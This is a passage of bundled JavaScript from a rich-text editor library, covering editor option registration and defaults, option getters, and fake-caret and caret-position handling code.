        processor: 'boolean',
        default: true
      });
      registerOption('forced_root_block', {
        processor: value => {
          const valid = isString(value) && isNotEmpty(value);
          if (valid) {
            return {
              value,
              valid
            };
          } else {
            return {
              valid: false,
              message: 'Must be a non-empty string.'
            };
          }
        },
        default: 'p'
      });
      registerOption('forced_root_block_attrs', {
        processor: 'object',
        default: {}
      });
      registerOption('newline_behavior', {
        processor: value => {
          const valid = contains$2([
            'block',
            'linebreak',
            'invert',
            'default'
          ], value);
          return valid ? {
            value,
            valid
          } : {
            valid: false,
            message: 'Must be one of: block, linebreak, invert or default.'
          };
        },
        default: 'default'
      });
      registerOption('br_newline_selector', {
        processor: 'string',
        default: '.mce-toc h2,figcaption,caption'
      });
      registerOption('no_newline_selector', {
        processor: 'string',
        default: ''
      });
      registerOption('keep_styles', {
        processor: 'boolean',
        default: true
      });
      registerOption('end_container_on_empty_block', {
        processor: value => {
          if (isBoolean(value)) {
            return {
              valid: true,
              value
            };
          } else if (isString(value)) {
            return {
              valid: true,
              value
            };
          } else {
            return {
              valid: false,
              message: 'Must be boolean or a string'
            };
          }
        },
        default: 'blockquote'
      });
      registerOption('font_size_style_values', {
        processor: 'string',
        default: 'xx-small,x-small,small,medium,large,x-large,xx-large'
      });
      registerOption('font_size_legacy_values', {
        processor: 'string',
        default: 'xx-small,small,medium,large,x-large,xx-large,300%'
      });
      registerOption('font_size_classes', {
        processor: 'string',
        default: ''
      });
      registerOption('automatic_uploads', {
        processor: 'boolean',
        default: true
      });
      registerOption('images_reuse_filename', {
        processor: 'boolean',
        default: false
      });
      registerOption('images_replace_blob_uris', {
        processor: 'boolean',
        default: true
      });
      registerOption('icons', {
        processor: 'string',
        default: ''
      });
      registerOption('icons_url', {
        processor: 'string',
        default: ''
      });
      registerOption('images_upload_url', {
        processor: 'string',
        default: ''
      });
      registerOption('images_upload_base_path', {
        processor: 'string',
        default: ''
      });
      registerOption('images_upload_credentials', {
        processor: 'boolean',
        default: false
      });
      registerOption('images_upload_handler', { processor: 'function' });
      registerOption('language', {
        processor: 'string',
        default: 'en'
      });
      registerOption('language_url', {
        processor: 'string',
        default: ''
      });
      registerOption('entity_encoding', {
        processor: 'string',
        default: 'named'
      });
      registerOption('indent', {
        processor: 'boolean',
        default: true
      });
      registerOption('indent_before', {
        processor: 'string',
        default: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,' + 'tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist'
      });
      registerOption('indent_after', {
        processor: 'string',
        default: 'p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,th,ul,ol,li,dl,dt,dd,area,table,thead,' + 'tfoot,tbody,tr,section,summary,article,hgroup,aside,figure,figcaption,option,optgroup,datalist'
      });
      registerOption('indent_use_margin', {
        processor: 'boolean',
        default: false
      });
      registerOption('indentation', {
        processor: 'string',
        default: '40px'
      });
      registerOption('content_css', {
        processor: value => {
          const valid = value === false || isString(value) || isArrayOf(value, isString);
          if (valid) {
            if (isString(value)) {
              return {
                value: map$3(value.split(','), trim$3),
                valid
              };
            } else if (isArray$1(value)) {
              return {
                value,
                valid
              };
            } else if (value === false) {
              return {
                value: [],
                valid
              };
            } else {
              return {
                value,
                valid
              };
            }
          } else {
            return {
              valid: false,
              message: 'Must be false, a string or an array of strings.'
            };
          }
        },
        default: isInline(editor) ? [] : ['default']
      });
      registerOption('content_style', { processor: 'string' });
      registerOption('content_css_cors', {
        processor: 'boolean',
        default: false
      });
      registerOption('font_css', {
        processor: value => {
          const valid = isString(value) || isArrayOf(value, isString);
          if (valid) {
            const newValue = isArray$1(value) ? value : map$3(value.split(','), trim$3);
            return {
              value: newValue,
              valid
            };
          } else {
            return {
              valid: false,
              message: 'Must be a string or an array of strings.'
            };
          }
        },
        default: []
      });
      registerOption('inline_boundaries', {
        processor: 'boolean',
        default: true
      });
      registerOption('inline_boundaries_selector', {
        processor: 'string',
        default: 'a[href],code,span.mce-annotation'
      });
      registerOption('object_resizing', {
        processor: value => {
          const valid = isBoolean(value) || isString(value);
          if (valid) {
            if (value === false || deviceDetection$1.isiPhone() || deviceDetection$1.isiPad()) {
              return {
                value: '',
                valid
              };
            } else {
              return {
                value: value === true ? 'table,img,figure.image,div,video,iframe' : value,
                valid
              };
            }
          } else {
            return {
              valid: false,
              message: 'Must be boolean or a string'
            };
          }
        },
        default: !isTouch
      });
      registerOption('resize_img_proportional', {
        processor: 'boolean',
        default: true
      });
      registerOption('event_root', { processor: 'object' });
      registerOption('service_message', { processor: 'string' });
      registerOption('theme', {
        processor: value => value === false || isString(value) || isFunction(value),
        default: 'silver'
      });
      registerOption('theme_url', { processor: 'string' });
      registerOption('formats', { processor: 'object' });
      registerOption('format_empty_lines', {
        processor: 'boolean',
        default: false
      });
      registerOption('format_noneditable_selector', {
        processor: 'string',
        default: ''
      });
      registerOption('preview_styles', {
        processor: value => {
          const valid = value === false || isString(value);
          if (valid) {
            return {
              value: value === false ? '' : value,
              valid
            };
          } else {
            return {
              valid: false,
              message: 'Must be false or a string'
            };
          }
        },
        default: 'font-family font-size font-weight font-style text-decoration text-transform color background-color border border-radius outline text-shadow'
      });
      registerOption('custom_ui_selector', {
        processor: 'string',
        default: ''
      });
      registerOption('hidden_input', {
        processor: 'boolean',
        default: true
      });
      registerOption('submit_patch', {
        processor: 'boolean',
        default: true
      });
      registerOption('encoding', { processor: 'string' });
      registerOption('add_form_submit_trigger', {
        processor: 'boolean',
        default: true
      });
      registerOption('add_unload_trigger', {
        processor: 'boolean',
        default: true
      });
      registerOption('custom_undo_redo_levels', {
        processor: 'number',
        default: 0
      });
      registerOption('disable_nodechange', {
        processor: 'boolean',
        default: false
      });
      registerOption('readonly', {
        processor: 'boolean',
        default: false
      });
      registerOption('plugins', {
        processor: 'string[]',
        default: []
      });
      registerOption('external_plugins', { processor: 'object' });
      registerOption('forced_plugins', { processor: 'string[]' });
      registerOption('model', {
        processor: 'string',
        default: editor.hasPlugin('rtc') ? 'plugin' : 'dom'
      });
      registerOption('model_url', { processor: 'string' });
      registerOption('block_unsupported_drop', {
        processor: 'boolean',
        default: true
      });
      registerOption('visual', {
        processor: 'boolean',
        default: true
      });
      registerOption('visual_table_class', {
        processor: 'string',
        default: 'mce-item-table'
      });
      registerOption('visual_anchor_class', {
        processor: 'string',
        default: 'mce-item-anchor'
      });
      registerOption('iframe_aria_text', {
        processor: 'string',
        default: 'Rich Text Area. Press ALT-0 for help.'
      });
      registerOption('setup', { processor: 'function' });
      registerOption('init_instance_callback', { processor: 'function' });
      registerOption('url_converter', {
        processor: 'function',
        default: editor.convertURL
      });
      registerOption('url_converter_scope', {
        processor: 'object',
        default: editor
      });
      registerOption('urlconverter_callback', { processor: 'function' });
      registerOption('allow_conditional_comments', {
        processor: 'boolean',
        default: false
      });
      registerOption('allow_html_data_urls', {
        processor: 'boolean',
        default: false
      });
      registerOption('allow_svg_data_urls', { processor: 'boolean' });
      registerOption('allow_html_in_named_anchor', {
        processor: 'boolean',
        default: false
      });
      registerOption('allow_script_urls', {
        processor: 'boolean',
        default: false
      });
      registerOption('allow_unsafe_link_target', {
        processor: 'boolean',
        default: false
      });
      registerOption('convert_fonts_to_spans', {
        processor: 'boolean',
        default: true,
        deprecated: true
      });
      registerOption('fix_list_elements', {
        processor: 'boolean',
        default: false
      });
      registerOption('preserve_cdata', {
        processor: 'boolean',
        default: false
      });
      registerOption('remove_trailing_brs', { processor: 'boolean' });
      registerOption('inline_styles', {
        processor: 'boolean',
        default: true,
        deprecated: true
      });
      registerOption('element_format', {
        processor: 'string',
        default: 'html'
      });
      registerOption('entities', { processor: 'string' });
      registerOption('schema', {
        processor: 'string',
        default: 'html5'
      });
      registerOption('convert_urls', {
        processor: 'boolean',
        default: true
      });
      registerOption('relative_urls', {
        processor: 'boolean',
        default: true
      });
      registerOption('remove_script_host', {
        processor: 'boolean',
        default: true
      });
      registerOption('custom_elements', { processor: 'string' });
      registerOption('extended_valid_elements', { processor: 'string' });
      registerOption('invalid_elements', { processor: 'string' });
      registerOption('invalid_styles', { processor: stringOrObjectProcessor });
      registerOption('valid_children', { processor: 'string' });
      registerOption('valid_classes', { processor: stringOrObjectProcessor });
      registerOption('valid_elements', { processor: 'string' });
      registerOption('valid_styles', { processor: stringOrObjectProcessor });
      registerOption('verify_html', {
        processor: 'boolean',
        default: true
      });
      registerOption('auto_focus', { processor: value => isString(value) || value === true });
      registerOption('browser_spellcheck', {
        processor: 'boolean',
        default: false
      });
      registerOption('protect', { processor: 'array' });
      registerOption('images_file_types', {
        processor: 'string',
        default: 'jpeg,jpg,jpe,jfi,jif,jfif,png,gif,bmp,webp'
      });
      registerOption('deprecation_warnings', {
        processor: 'boolean',
        default: true
      });
      registerOption('a11y_advanced_options', {
        processor: 'boolean',
        default: false
      });
      registerOption('api_key', { processor: 'string' });
      registerOption('paste_block_drop', {
        processor: 'boolean',
        default: false
      });
      registerOption('paste_data_images', {
        processor: 'boolean',
        default: true
      });
      registerOption('paste_preprocess', { processor: 'function' });
      registerOption('paste_postprocess', { processor: 'function' });
      registerOption('paste_webkit_styles', {
        processor: 'string',
        default: 'none'
      });
      registerOption('paste_remove_styles_if_webkit', {
        processor: 'boolean',
        default: true
      });
      registerOption('paste_merge_formats', {
        processor: 'boolean',
        default: true
      });
      registerOption('smart_paste', {
        processor: 'boolean',
        default: true
      });
      registerOption('paste_as_text', {
        processor: 'boolean',
        default: false
      });
      registerOption('paste_tab_spaces', {
        processor: 'number',
        default: 4
      });
      registerOption('text_patterns', {
        processor: value => {
          if (isArrayOf(value, isObject) || value === false) {
            const patterns = value === false ? [] : value;
            return {
              value: fromRawPatterns(patterns),
              valid: true
            };
          } else {
            return {
              valid: false,
              message: 'Must be an array of objects or false.'
            };
          }
        },
        default: [
          {
            start: '*',
            end: '*',
            format: 'italic'
          },
          {
            start: '**',
            end: '**',
            format: 'bold'
          },
          {
            start: '#',
            format: 'h1'
          },
          {
            start: '##',
            format: 'h2'
          },
          {
            start: '###',
            format: 'h3'
          },
          {
            start: '####',
            format: 'h4'
          },
          {
            start: '#####',
            format: 'h5'
          },
          {
            start: '######',
            format: 'h6'
          },
          {
            start: '1. ',
            cmd: 'InsertOrderedList'
          },
          {
            start: '* ',
            cmd: 'InsertUnorderedList'
          },
          {
            start: '- ',
            cmd: 'InsertUnorderedList'
          }
        ]
      });
      registerOption('text_patterns_lookup', {
        processor: value => {
          if (isFunction(value)) {
            return {
              value: fromRawPatternsLookup(value),
              valid: true
            };
          } else {
            return {
              valid: false,
              message: 'Must be a single function'
            };
          }
        },
        default: _ctx => []
      });
      registerOption('noneditable_class', {
        processor: 'string',
        default: 'mceNonEditable'
      });
      registerOption('editable_class', {
        processor: 'string',
        default: 'mceEditable'
      });
      registerOption('noneditable_regexp', {
        processor: value => {
          if (isArrayOf(value, isRegExp)) {
            return {
              value,
              valid: true
            };
          } else if (isRegExp(value)) {
            return {
              value: [value],
              valid: true
            };
          } else {
            return {
              valid: false,
              message: 'Must be a RegExp or an array of RegExp.'
            };
          }
        },
        default: []
      });
      registerOption('table_tab_navigation', {
        processor: 'boolean',
        default: true
      });
      editor.on('ScriptsLoaded', () => {
        registerOption('directionality', {
          processor: 'string',
          default: I18n.isRtl() ? 'rtl' : undefined
        });
        registerOption('placeholder', {
          processor: 'string',
          default: DOM$a.getAttrib(editor.getElement(), 'placeholder')
        });
      });
    };
    const getIframeAttrs = option('iframe_attrs');
    const getDocType = option('doctype');
    const getDocumentBaseUrl = option('document_base_url');
    const getBodyId = option('body_id');
    const getBodyClass = option('body_class');
    const getContentSecurityPolicy = option('content_security_policy');
    const shouldPutBrInPre$1 = option('br_in_pre');
    const getForcedRootBlock = option('forced_root_block');
    const getForcedRootBlockAttrs = option('forced_root_block_attrs');
    const getNewlineBehavior = option('newline_behavior');
    const getBrNewLineSelector = option('br_newline_selector');
    const getNoNewLineSelector = option('no_newline_selector');
    const shouldKeepStyles = option('keep_styles');
    const shouldEndContainerOnEmptyBlock = option('end_container_on_empty_block');
    const isAutomaticUploadsEnabled = option('automatic_uploads');
    const shouldReuseFileName = option('images_reuse_filename');
    const shouldReplaceBlobUris = option('images_replace_blob_uris');
    const getIconPackName = option('icons');
    const getIconsUrl = option('icons_url');
    const getImageUploadUrl = option('images_upload_url');
    const getImageUploadBasePath = option('images_upload_base_path');
    const getImagesUploadCredentials = option('images_upload_credentials');
    const getImagesUploadHandler = option('images_upload_handler');
    const shouldUseContentCssCors = option('content_css_cors');
    const getReferrerPolicy = option('referrer_policy');
    const getLanguageCode = option('language');
    const getLanguageUrl = option('language_url');
    const shouldIndentUseMargin = option('indent_use_margin');
    const getIndentation = option('indentation');
    const getContentCss = option('content_css');
    const getContentStyle = option('content_style');
    const getFontCss = option('font_css');
    const getDirectionality = option('directionality');
    const getInlineBoundarySelector = option('inline_boundaries_selector');
    const getObjectResizing = option('object_resizing');
    const getResizeImgProportional = option('resize_img_proportional');
    const getPlaceholder = option('placeholder');
    const getEventRoot = option('event_root');
    const getServiceMessage = option('service_message');
    const getTheme = option('theme');
    const getThemeUrl = option('theme_url');
    const getModel = option('model');
    const getModelUrl = option('model_url');
    const isInlineBoundariesEnabled = option('inline_boundaries');
    const getFormats = option('formats');
    const getPreviewStyles = option('preview_styles');
    const canFormatEmptyLines = option('format_empty_lines');
    const getFormatNoneditableSelector = option('format_noneditable_selector');
    const getCustomUiSelector = option('custom_ui_selector');
    const isInline = option('inline');
    const hasHiddenInput = option('hidden_input');
    const shouldPatchSubmit = option('submit_patch');
    const shouldAddFormSubmitTrigger = option('add_form_submit_trigger');
    const shouldAddUnloadTrigger = option('add_unload_trigger');
    const getCustomUndoRedoLevels = option('custom_undo_redo_levels');
    const shouldDisableNodeChange = option('disable_nodechange');
    const isReadOnly$1 = option('readonly');
    const hasContentCssCors = option('content_css_cors');
    const getPlugins = option('plugins');
    const getExternalPlugins$1 = option('external_plugins');
    const shouldBlockUnsupportedDrop = option('block_unsupported_drop');
    const isVisualAidsEnabled = option('visual');
    const getVisualAidsTableClass = option('visual_table_class');
    const getVisualAidsAnchorClass = option('visual_anchor_class');
    const getIframeAriaText = option('iframe_aria_text');
    const getSetupCallback = option('setup');
    const getInitInstanceCallback = option('init_instance_callback');
    const getUrlConverterCallback = option('urlconverter_callback');
    const getAutoFocus = option('auto_focus');
    const shouldBrowserSpellcheck = option('browser_spellcheck');
    const getProtect = option('protect');
    const shouldPasteBlockDrop = option('paste_block_drop');
    const shouldPasteDataImages = option('paste_data_images');
    const getPastePreProcess = option('paste_preprocess');
    const getPastePostProcess = option('paste_postprocess');
    const getPasteWebkitStyles = option('paste_webkit_styles');
    const shouldPasteRemoveWebKitStyles = option('paste_remove_styles_if_webkit');
    const shouldPasteMergeFormats = option('paste_merge_formats');
    const isSmartPasteEnabled = option('smart_paste');
    const isPasteAsTextEnabled = option('paste_as_text');
    const getPasteTabSpaces = option('paste_tab_spaces');
    const shouldAllowHtmlDataUrls = option('allow_html_data_urls');
    const getTextPatterns = option('text_patterns');
    const getTextPatternsLookup = option('text_patterns_lookup');
    const getNonEditableClass = option('noneditable_class');
    const getEditableClass = option('editable_class');
    const getNonEditableRegExps = option('noneditable_regexp');
    const shouldPreserveCData = option('preserve_cdata');
    const hasTextPatternsLookup = editor => editor.options.isSet('text_patterns_lookup');
    const getFontStyleValues = editor => Tools.explode(editor.options.get('font_size_style_values'));
    const getFontSizeClasses = editor => Tools.explode(editor.options.get('font_size_classes'));
    const isEncodingXml = editor => editor.options.get('encoding') === 'xml';
    const getAllowedImageFileTypes = editor => Tools.explode(editor.options.get('images_file_types'));
    const hasTableTabNavigation = option('table_tab_navigation');

    const isElement$3 = isElement$6;
    const isText$5 = isText$a;
    const removeNode$1 = node => {
      const parentNode = node.parentNode;
      if (parentNode) {
        parentNode.removeChild(node);
      }
    };
    const trimCount = text => {
      const trimmedText = trim$1(text);
      return {
        count: text.length - trimmedText.length,
        text: trimmedText
      };
    };
    const deleteZwspChars = caretContainer => {
      let idx;
      while ((idx = caretContainer.data.lastIndexOf(ZWSP$1)) !== -1) {
        caretContainer.deleteData(idx, 1);
      }
    };
    const removeUnchanged = (caretContainer, pos) => {
      remove$4(caretContainer);
      return pos;
    };
    const removeTextAndReposition = (caretContainer, pos) => {
      const before = trimCount(caretContainer.data.substr(0, pos.offset()));
      const after = trimCount(caretContainer.data.substr(pos.offset()));
      const text = before.text + after.text;
      if (text.length > 0) {
        deleteZwspChars(caretContainer);
        return CaretPosition(caretContainer, pos.offset() - before.count);
      } else {
        return pos;
      }
    };
    const removeElementAndReposition = (caretContainer, pos) => {
      const parentNode = pos.container();
      const newPosition = indexOf$1(from(parentNode.childNodes), caretContainer).map(index => {
        return index < pos.offset() ? CaretPosition(parentNode, pos.offset() - 1) : pos;
      }).getOr(pos);
      remove$4(caretContainer);
      return newPosition;
    };
    const removeTextCaretContainer = (caretContainer, pos) => isText$5(caretContainer) && pos.container() === caretContainer ? removeTextAndReposition(caretContainer, pos) : removeUnchanged(caretContainer, pos);
    const removeElementCaretContainer = (caretContainer, pos) => pos.container() === caretContainer.parentNode ? removeElementAndReposition(caretContainer, pos) : removeUnchanged(caretContainer, pos);
    const removeAndReposition = (container, pos) => CaretPosition.isTextPosition(pos) ? removeTextCaretContainer(container, pos) : removeElementCaretContainer(container, pos);
    const remove$4 = caretContainerNode => {
      if (isElement$3(caretContainerNode) && isCaretContainer$2(caretContainerNode)) {
        if (hasContent(caretContainerNode)) {
          caretContainerNode.removeAttribute('data-mce-caret');
        } else {
          removeNode$1(caretContainerNode);
        }
      }
      if (isText$5(caretContainerNode)) {
        deleteZwspChars(caretContainerNode);
        if (caretContainerNode.data.length === 0) {
          removeNode$1(caretContainerNode);
        }
      }
    };

    const isContentEditableFalse$7 = isContentEditableFalse$a;
    const isMedia$1 = isMedia$2;
    const isTableCell$1 = isTableCell$3;
    const inlineFakeCaretSelector = '*[contentEditable=false],video,audio,embed,object';
    const getAbsoluteClientRect = (root, element, before) => {
      const clientRect = collapse(element.getBoundingClientRect(), before);
      let scrollX;
      let scrollY;
      if (root.tagName === 'BODY') {
        const docElm = root.ownerDocument.documentElement;
        scrollX = root.scrollLeft || docElm.scrollLeft;
        scrollY = root.scrollTop || docElm.scrollTop;
      } else {
        const rootRect = root.getBoundingClientRect();
        scrollX = root.scrollLeft - rootRect.left;
        scrollY = root.scrollTop - rootRect.top;
      }
      clientRect.left += scrollX;
      clientRect.right += scrollX;
      clientRect.top += scrollY;
      clientRect.bottom += scrollY;
      clientRect.width = 1;
      let margin = element.offsetWidth - element.clientWidth;
      if (margin > 0) {
        if (before) {
          margin *= -1;
        }
        clientRect.left += margin;
        clientRect.right += margin;
      }
      return clientRect;
    };
    const trimInlineCaretContainers = root => {
      var _a, _b;
      const fakeCaretTargetNodes = descendants(SugarElement.fromDom(root), inlineFakeCaretSelector);
      for (let i = 0; i < fakeCaretTargetNodes.length; i++) {
        const node = fakeCaretTargetNodes[i].dom;
        let sibling = node.previousSibling;
        if (endsWithCaretContainer$1(sibling)) {
          const data = sibling.data;
          if (data.length === 1) {
            (_a = sibling.parentNode) === null || _a === void 0 ? void 0 : _a.removeChild(sibling);
          } else {
            sibling.deleteData(data.length - 1, 1);
          }
        }
        sibling = node.nextSibling;
        if (startsWithCaretContainer$1(sibling)) {
          const data = sibling.data;
          if (data.length === 1) {
            (_b = sibling.parentNode) === null || _b === void 0 ? void 0 : _b.removeChild(sibling);
          } else {
            sibling.deleteData(0, 1);
          }
        }
      }
    };
    const FakeCaret = (editor, root, isBlock, hasFocus) => {
      const lastVisualCaret = value$2();
      let cursorInterval;
      let caretContainerNode;
      const caretBlock = getForcedRootBlock(editor);
      const dom = editor.dom;
      const show = (before, element) => {
        let rng;
        hide();
        if (isTableCell$1(element)) {
          return null;
        }
        if (isBlock(element)) {
          const caretContainer = insertBlock(caretBlock, element, before);
          const clientRect = getAbsoluteClientRect(root, element, before);
          dom.setStyle(caretContainer, 'top', clientRect.top);
          caretContainerNode = caretContainer;
          const caret = dom.create('div', {
            'class': 'mce-visual-caret',
            'data-mce-bogus': 'all'
          });
          dom.setStyles(caret, { ...clientRect });
          dom.add(root, caret);
          lastVisualCaret.set({
            caret,
            element,
            before
          });
          if (before) {
            dom.addClass(caret, 'mce-visual-caret-before');
          }
          startBlink();
          rng = element.ownerDocument.createRange();
          rng.setStart(caretContainer, 0);
          rng.setEnd(caretContainer, 0);
        } else {
          caretContainerNode = insertInline$1(element, before);
          rng = element.ownerDocument.createRange();
          if (isInlineFakeCaretTarget(caretContainerNode.nextSibling)) {
            rng.setStart(caretContainerNode, 0);
            rng.setEnd(caretContainerNode, 0);
          } else {
            rng.setStart(caretContainerNode, 1);
            rng.setEnd(caretContainerNode, 1);
          }
          return rng;
        }
        return rng;
      };
      const hide = () => {
        trimInlineCaretContainers(root);
        if (caretContainerNode) {
          remove$4(caretContainerNode);
          caretContainerNode = null;
        }
        lastVisualCaret.on(caretState => {
          dom.remove(caretState.caret);
          lastVisualCaret.clear();
        });
        if (cursorInterval) {
          clearInterval(cursorInterval);
          cursorInterval = undefined;
        }
      };
      const startBlink = () => {
        cursorInterval = setInterval(() => {
          lastVisualCaret.on(caretState => {
            if (hasFocus()) {
              dom.toggleClass(caretState.caret, 'mce-visual-caret-hidden');
            } else {
              dom.addClass(caretState.caret, 'mce-visual-caret-hidden');
            }
          });
        }, 500);
      };
      const reposition = () => {
        lastVisualCaret.on(caretState => {
          const clientRect = getAbsoluteClientRect(root, caretState.element, caretState.before);
          dom.setStyles(caretState.caret, { ...clientRect });
        });
      };
      const destroy = () => clearInterval(cursorInterval);
      const getCss = () => '.mce-visual-caret {' + 'position: absolute;' + 'background-color: black;' + 'background-color: currentcolor;' + '}' + '.mce-visual-caret-hidden {' + 'display: none;' + '}' + '*[data-mce-caret] {' + 'position: absolute;' + 'left: -1000px;' + 'right: auto;' + 'top: 0;' + 'margin: 0;' + 'padding: 0;' + '}';
      return {
        show,
        hide,
        getCss,
        reposition,
        destroy
      };
    };
    const isFakeCaretTableBrowser = () => Env.browser.isFirefox();
    const isInlineFakeCaretTarget = node => isContentEditableFalse$7(node) || isMedia$1(node);
    const isFakeCaretTarget = node => isInlineFakeCaretTarget(node) || isTable$2(node) && isFakeCaretTableBrowser();

    const isContentEditableTrue$1 = isContentEditableTrue$3;
    const isContentEditableFalse$6 = isContentEditableFalse$a;
    const isMedia = isMedia$2;
    const isBlockLike = matchStyleValues('display', 'block table table-cell table-caption list-item');
    const isCaretContainer = isCaretContainer$2;
    const isCaretContainerBlock = isCaretContainerBlock$1;
    const isElement$2 = isElement$6;
    const isText$4 = isText$a;
    const isCaretCandidate$1 = isCaretCandidate$3;
    const isForwards = direction => direction > 0;
    const isBackwards = direction => direction < 0;
    const skipCaretContainers = (walk, shallow) => {
      let node;
      while (node = walk(shallow)) {
        if (!isCaretContainerBlock(node)) {
          return node;
        }
      }
      return null;
    };
    const findNode = (node, direction, predicateFn, rootNode, shallow) => {
      const walker = new DomTreeWalker(node, rootNode);
      const isCefOrCaretContainer = isContentEditableFalse$6(node) || isCaretContainerBlock(node);
      let tempNode;
      if (isBackwards(direction)) {
        if (isCefOrCaretContainer) {
          tempNode = skipCaretContainers(walker.prev.bind(walker), true);
          if (predicateFn(tempNode)) {
            return tempNode;
          }
        }
        while (tempNode = skipCaretContainers(walker.prev.bind(walker), shallow)) {
          if (predicateFn(tempNode)) {
            return tempNode;
          }
        }
      }
      if (isForwards(direction)) {
        if (isCefOrCaretContainer) {
          tempNode = skipCaretContainers(walker.next.bind(walker), true);
          if (predicateFn(tempNode)) {
            return tempNode;
          }
        }
        while (tempNode = skipCaretContainers(walker.next.bind(walker), shallow)) {
          if (predicateFn(tempNode)) {
            return tempNode;
          }
        }
      }
      return null;
    };
    const getEditingHost = (node, rootNode) => {
      const isCETrue = node => isContentEditableTrue$1(node.dom);
      const isRoot = node => node.dom === rootNode;
      return ancestor$3(SugarElement.fromDom(node), isCETrue, isRoot).map(elm => elm.dom).getOr(rootNode);
    };
    const getParentBlock$3 = (node, rootNode) => {
      while (node && node !== rootNode) {
        if (isBlockLike(node)) {
          return node;
        }
        node = node.parentNode;
      }
      return null;
    };
    const isInSameBlock = (caretPosition1, caretPosition2, rootNode) => getParentBlock$3(caretPosition1.container(), rootNode) === getParentBlock$3(caretPosition2.container(), rootNode);
    const getChildNodeAtRelativeOffset = (relativeOffset, caretPosition) => {
      if (!caretPosition) {
        return Optional.none();
      }
      const container = caretPosition.container();
      const offset = caretPosition.offset();
      if (!isElement$2(container)) {
        return Optional.none();
      }
      return Optional.from(container.childNodes[offset + relativeOffset]);
    };
    const beforeAfter = (before, node) => {
      var _a;
      const doc = (_a = node.ownerDocument) !== null && _a !== void 0 ? _a : document;
      const range = doc.createRange();
      if (before) {
        range.setStartBefore(node);
        range.setEndBefore(node);
      } else {
        range.setStartAfter(node);
        range.setEndAfter(node);
      }
      return range;
    };
    const isNodesInSameBlock = (root, node1, node2) => getParentBlock$3(node1, root) === getParentBlock$3(node2, root);
    const lean = (left, root, node) => {
      const siblingName = left ? 'previousSibling' : 'nextSibling';
      let tempNode = node;
      while (tempNode && tempNode !== root) {
        let sibling = tempNode[siblingName];
        if (sibling && isCaretContainer(sibling)) {
          sibling = sibling[siblingName];
        }
        if (isContentEditableFalse$6(sibling) || isMedia(sibling)) {
          if (isNodesInSameBlock(root, sibling, tempNode)) {
            return sibling;
          }
          break;
        }
        if (isCaretCandidate$1(sibling)) {
          break;
        }
        tempNode = tempNode.parentNode;
      }
      return null;
    };
    const before$2 = curry(beforeAfter, true);
    const after$2 = curry(beforeAfter, false);
    const normalizeRange = (direction, root, range) => {
      let node;
      const leanLeft = curry(lean, true, root);
      const leanRight = curry(lean, false, root);
      const container = range.startContainer;
      const offset = range.startOffset;
      if (isCaretContainerBlock$1(container)) {
        const block = isText$4(container) ? container.parentNode : container;
        const location = block.getAttribute('data-mce-caret');
        if (location === 'before') {
          node = block.nextSibling;
          if (isFakeCaretTarget(node)) {
            return before$2(node);
          }
        }
        if (location === 'after') {
          node = block.previousSibling;
          if (isFakeCaretTarget(node)) {
            return after$2(node);
          }
        }
      }
      if (!range.collapsed) {
        return range;
      }
      if (isText$a(container)) {
        if (isCaretContainer(container)) {
          if (direction === 1) {
            node = leanRight(container);
            if (node) {
              return before$2(node);
            }
            node = leanLeft(container);
            if (node) {
              return after$2(node);
            }
          }
          if (direction === -1) {
            node = leanLeft(container);
            if (node) {
              return after$2(node);
            }
            node = leanRight(container);
            if (node) {
              return before$2(node);
            }
          }
          return range;
        }
        if (endsWithCaretContainer$1(container) && offset >= container.data.length - 1) {
          if (direction === 1) {
            node = leanRight(container);
            if (node) {
              return before$2(node);
            }
          }
          return range;
        }
        if (startsWithCaretContainer$1(container) && offset <= 1) {
          if (direction === -1) {
            node = leanLeft(container);
            if (node) {
              return after$2(node);
            }
          }
          return range;
        }
        if (offset === container.data.length) {
          node = leanRight(container);
          if (node) {
            return before$2(node);
          }
          return range;
        }
        if (offset === 0) {
          node = leanLeft(container);
          if (node) {
            return after$2(node);
          }
          return range;
        }
      }
      return range;
    };
    const getRelativeCefElm = (forward, caretPosition) => getChildNodeAtRelativeOffset(forward ? 0 : -1, caretPosition).filter(isContentEditableFalse$6);
    const getNormalizedRangeEndPoint = (direction, root, range) => {
      const normalizedRange = normalizeRange(direction, root, range);
      return direction === -1 ? CaretPosition.fromRangeStart(normalizedRange) : CaretPosition.fromRangeEnd(normalizedRange);
    };
    const getElementFromPosition = pos => Optional.from(pos.getNode()).map(SugarElement.fromDom);
    const getElementFromPrevPosition = pos => Optional.from(pos.getNode(true)).map(SugarElement.fromDom);
    const getVisualCaretPosition = (walkFn, caretPosition) => {
      let pos = caretPosition;
      while (pos = walkFn(pos)) {
        if (pos.isVisible()) {
          return pos;
        }
      }
      return pos;
    };
    const isMoveInsideSameBlock = (from, to) => {
      const inSameBlock = isInSameBlock(from, to);
      if (!inSameBlock && isBr$6(from.getNode())) {
        return true;
      }
      return inSameBlock;
    };

    var HDirection;
    (function (HDirection) {
      HDirection[HDirection['Backwards'] = -1] = 'Backwards';
      HDirection[HDirection['Forwards'] = 1] = 'Forwards';
    }(HDirection || (HDirection = {})));
    const isContentEditableFalse$5 = isContentEditableFalse$a;
    const isText$3 = isText$a;
    const isElement$1 = isElement$6;
    const isBr$2 = isBr$6;
    const isCaretCandidate = isCaretCandidate$3;
    const isAtomic = isAtomic$1;
    const isEditableCaretCandidate = isEditableCaretCandidate$1;
    const getParents$3 = (node, root) => {
      const parents = [];
      let tempNode = node;
      while (tempNode && tempNode !== root) {
        parents.push(tempNode);
        tempNode = tempNode.parentNode;
      }
      return parents;
    };
    const nodeAtIndex = (container, offset) => {
      if (container.hasChildNodes() && offset < container.childNodes.length) {
        return container.childNodes[offset];
      }
      return null;
    };
    const getCaretCandidatePosition = (direction, node) => {
      if (isForwards(direction)) {
        if (isCaretCandidate(node.previousSibling) && !isText$3(node.previousSibling)) {
          return CaretPosition.before(node);
        }
        if (isText$3(node)) {
          return CaretPosition(node, 0);
        }
      }
      if (isBackwards(direction)) {
        if (isCaretCandidate(node.nextSibling) && !isText$3(node.nextSibling)) {
          return CaretPosition.after(node);
        }
        if (isText$3(node)) {
          return CaretPosition(node, node.data.length);
        }
      }
      if (isBackwards(direction)) {
        if (isBr$2(node)) {
          return CaretPosition.before(node);
        }
        return CaretPosition.after(node);
      }
      return CaretPosition.before(node);
    };
    const moveForwardFromBr = (root, nextNode) => {
      const nextSibling = nextNode.nextSibling;
